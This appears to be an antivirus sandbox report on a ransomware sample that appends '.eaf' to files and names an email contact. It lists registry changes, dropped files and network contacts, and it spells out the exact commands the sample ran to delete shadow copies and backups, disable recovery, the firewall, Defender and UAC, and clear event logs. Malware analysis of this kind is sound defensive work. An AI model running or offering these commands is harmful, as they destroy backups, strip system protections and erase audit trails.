Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'empty'
- [<HKLM>\Software\Classes\.EAF\Shell\Open\command] '' = '"%WINDIR%\EC0437DA.exe" "%L"'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\encoderdecryption@yandex.ru.url
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Creates the following files on removable media
- <Drive name for removable media>:\#files-encrypted.txt
- <Drive name for removable media>:\[encoderdecryption@yandex.ru][ec0437da]000814251_video_01.avi.eaf
- <Drive name for removable media>:\[encoderdecryption@yandex.ru][ec0437da]join.avi.eaf
- <Drive name for removable media>:\join.avi
- <Drive name for removable media>:\dashborder_120.bmp
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Windows Defender
blocks the following features:
- System Restore (SR)
- User Account Control (UAC)
modifies the following system settings:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoControlPanel' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoControlPanel' = '00000001'
deletes volume shadow copies.
Executes the following
- '<SYSTEM32>\netsh.exe' firewall set opmode mode=disable
Injects code into
the following system processes:
- <SYSTEM32>\vds.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\vds.exe
Modifies file system
Creates the following files
- %APPDATA%\encoderdecryption@yandex.ru.exe
- %HOMEPATH%\desktop\[encoderdecryption@yandex.ru][ec0437da]about.htm.eaf
- D:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1001\#files-encrypted.txt
- D:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1001\[encoderdecryption@yandex.ru][ec0437da]desktop.ini.eaf
- %HOMEPATH%\desktop\#files-encrypted.txt
- %HOMEPATH%\desktop\[encoderdecryption@yandex.ru][ec0437da]64bit_notes.htm.eaf
- D:\[encoderdecryption@yandex.ru][ec0437da]install.log.eaf
- %WINDIR%\this is your helper file.txt
- nul
- C:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1001\[encoderdecryption@yandex.ru][ec0437da]desktop.ini.eaf
- %TEMP%\3.bat
- %TEMP%\1.cmd
- %WINDIR%\backupxxxec0437da.exe
- %WINDIR%\ec0437da.exe
- %WINDIR%\ec0437da.ico
- %APPDATA%\#files-encrypted.txt
- D:\#files-encrypted.txt
- C:\#files-encrypted.txt
- %WINDIR%\ec0437da.bat
- %TEMP%\2.bat
- C:\$recycle.bin\s-1-5-21-1960123792-2022915161-3775307078-1001\#files-encrypted.txt
Sets the 'hidden' attribute to the following files
- %TEMP%\1.cmd
- %TEMP%\2.bat
- %TEMP%\3.bat
Deletes the following files
- %WINDIR%\backupxxxec0437da.exe
Network activity
Connects to
- 'ic###azip.com':80
- 'ap#.##legram.org':443
TCP
HTTP GET requests
- http://ic###azip.com/
Other
- 'ap#.##legram.org':443
UDP
- DNS ASK ic###azip.com
- DNS ASK ap#.##legram.org
Miscellaneous
Creates and executes the following
- '%APPDATA%\encoderdecryption@yandex.ru.exe'
- '%WINDIR%\backupxxxec0437da.exe'
- '<SYSTEM32>\cmd.exe' /C reagentc /disable' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C wbadmin delete catalog -quiet' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C bcdedit /set {default} recoveryenabled no' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C netsh advfirewall set currentprofile state off' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C netsh firewall set opmode mode=disable' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del "%WINDIR%\BackupXXXEC0437DA.exe"& ping 1.1.1.1 -n 1 -w 900 > Nul & Del "%WINDIR%\BackupXXXEC0437DA.exe"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /C reagentc /disable
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Authentication User Interface/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Audit/Analytic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Audio/Performance"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Audio/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Audio/CaptureMonitor"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Application-Experience/Program-Telemetry"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Application-Experience/Program-Inventory/Debug"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Application-Experience/Program-Inventory"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Application-Experience/Problem-Steps-Recorder"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Application Server-Applications/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Application Server-Applications/Debug"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Application Server-Applications/Analytic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Application Server-Applications/Admin"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-AppLocker/MSI and Script"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-AppLocker/EXE and DLL"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-AppID/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-AltTab/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-ActionQueue/Analytic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-ATAPort/SATA-LPM"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-ATAPort/General"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-API-Tracing/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-ADSI/Debug"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-PerfTrack-MSHTML/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-PerfTrack-IEFRAME/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-IEFRAME/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-IE/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' CL "MediaFoundationPlatform"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-AxInstallService/Log"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Biometrics/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-DUI/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-DNS-Client/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-DCLocator/Debug"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Crypto-RNG/Analytic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-CredUI/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-ComDlg32/Debug"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-ComDlg32/Analytic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-CodeIntegrity/Verbose"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-CodeIntegrity/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-CmiSetup/Analytic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-ClearTypeTextTuner/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-CertificateServicesClient-CredentialRoaming/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-CertPoleEng/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Calculator/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Calculator/Debug"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-COMRuntime/Tracing"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-COM/Analytic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-CDROM/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-CAPI2/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-BranchCacheSMB/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-BranchCacheSMB/Analytic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-BranchCacheEventProvider/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-BranchCacheClientEventProvider/Diagnostic"
- '<SYSTEM32>\wevtutil.exe' cl "Microsoft-Windows-BranchCache/Operational"
- '<SYSTEM32>\wevtutil.exe' cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Bits-Client/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Bits-Client/Analytic"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"
- '<SYSTEM32>\wevtutil.exe' CL "MediaFoundationPipeline"
- '<SYSTEM32>\wevtutil.exe' CL "Microsoft-Windows-Backup"
- '<SYSTEM32>\wevtutil.exe' CL "MediaFoundationPerformance"
- '<SYSTEM32>\reg.exe' add "HKCR\*\shell\runas\command" /ve /t REG_SZ /d "cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F" /f
- '<SYSTEM32>\reg.exe' add "HKCR\*\shell\runas" /ve /t REG_SZ /d "Take Ownership" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v "fDenyTSConnections" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v "UserAuthentication" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\CredSSP\Parameters" /v "AllowEncryptionOracle" /t REG_DWORD /d "2" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL" /v "ClientCacheTime" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /C "%WINDIR%\EC0437DA.bat"
- '<SYSTEM32>\cmd.exe' /C netsh firewall set opmode mode=disable
- '<SYSTEM32>\netsh.exe' advfirewall set currentprofile state off
- '<SYSTEM32>\cmd.exe' /C netsh advfirewall set currentprofile state off
- '<SYSTEM32>\cmd.exe' /C bcdedit /set {default} recoveryenabled no
- '<SYSTEM32>\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\cmd.exe' /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
- '<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\cmd.exe' /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
- '<SYSTEM32>\vds.exe'
- '<SYSTEM32>\wbengine.exe'
- '<SYSTEM32>\wbadmin.exe' delete catalog -quiet
- '<SYSTEM32>\cmd.exe' /C wbadmin delete catalog -quiet
- '<SYSTEM32>\reagentc.exe' /disable
- '<SYSTEM32>\reg.exe' add "HKCR\*\shell\runas" /v "NoWorkingDirectory" /t REG_SZ /d "" /f
- '<SYSTEM32>\reg.exe' add "HKCR\*\shell\runas\command" /v "IsolatedCommand" /t REG_SZ /d "cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F" /f
- '<SYSTEM32>\ping.exe' localhost -n 8
- '<SYSTEM32>\reg.exe' add "HKCR\Directory\shell\runas" /ve /t REG_SZ /d "Take Ownership" /f
- '<SYSTEM32>\wevtutil.exe' CL "Media Center"
- '<SYSTEM32>\wevtutil.exe' CL "MF_MediaFoundationDeviceProxy"
- '<SYSTEM32>\wevtutil.exe' CL "Key Management Service"
- '<SYSTEM32>\mode.com' con cols=74 lines=25
- '<SYSTEM32>\wevtutil.exe' CL "Internet Explorer"
- '<SYSTEM32>\wevtutil.exe' CL "HardwareEvents"
- '<SYSTEM32>\wevtutil.exe' CL "ForwardedEvents"
- '<SYSTEM32>\wevtutil.exe' CL "EndpointMapper"
- '<SYSTEM32>\wevtutil.exe' CL "DirectShowPluginControl"
- '<SYSTEM32>\wevtutil.exe' CL "DirectShowFilterGraph"
- '<SYSTEM32>\wevtutil.exe' CL "DebugChannel"
- '<SYSTEM32>\cmd.exe' /c wevtutil.exe el
- '<SYSTEM32>\wevtutil.exe' CL "Application"
- '<SYSTEM32>\bcdedit.exe'
- '<SYSTEM32>\cmd.exe' /c bcdedit
- '<SYSTEM32>\ping.exe' 1.1.1.1 -n 1 -w 900
- '<SYSTEM32>\wevtutil.exe' CL "Analytic"
- '<SYSTEM32>\ping.exe' 1.1.1.1 -n 1 -w 100
- '<SYSTEM32>\wevtutil.exe' EL
- '<SYSTEM32>\cmd.exe' /c WEVTUTIL EL
- '<SYSTEM32>\cmd.exe' /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del "%WINDIR%\BackupXXXEC0437DA.exe"& ping 1.1.1.1 -n 1 -w 900 > Nul & Del "%WINDIR%\BackupXXXEC0437DA.exe"
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\3.bat"
- '<SYSTEM32>\mode.com' con cols=74 lines=20
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\2.bat"
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\1.cmd"
- '<SYSTEM32>\notepad.exe' %APPDATA%\#FILES-ENCRYPTED.txt
- '<SYSTEM32>\reg.exe' add "HKCR\Directory\shell\runas\command" /v "IsolatedCommand" /t REG_SZ /d "cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t" /f
- '<SYSTEM32>\reg.exe' add "HKCR\Directory\shell\runas\command" /ve /t REG_SZ /d "cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t" /f
- '<SYSTEM32>\reg.exe' add "HKCR\Directory\shell\runas" /v "NoWorkingDirectory" /t REG_SZ /d "" /f
- '<SYSTEM32>\wevtutil.exe' CL "MediaFoundationDeviceProxy"
- '<SYSTEM32>\wevtutil.exe' cl "Microsoft-Windows-DUSER/Diagnostic"
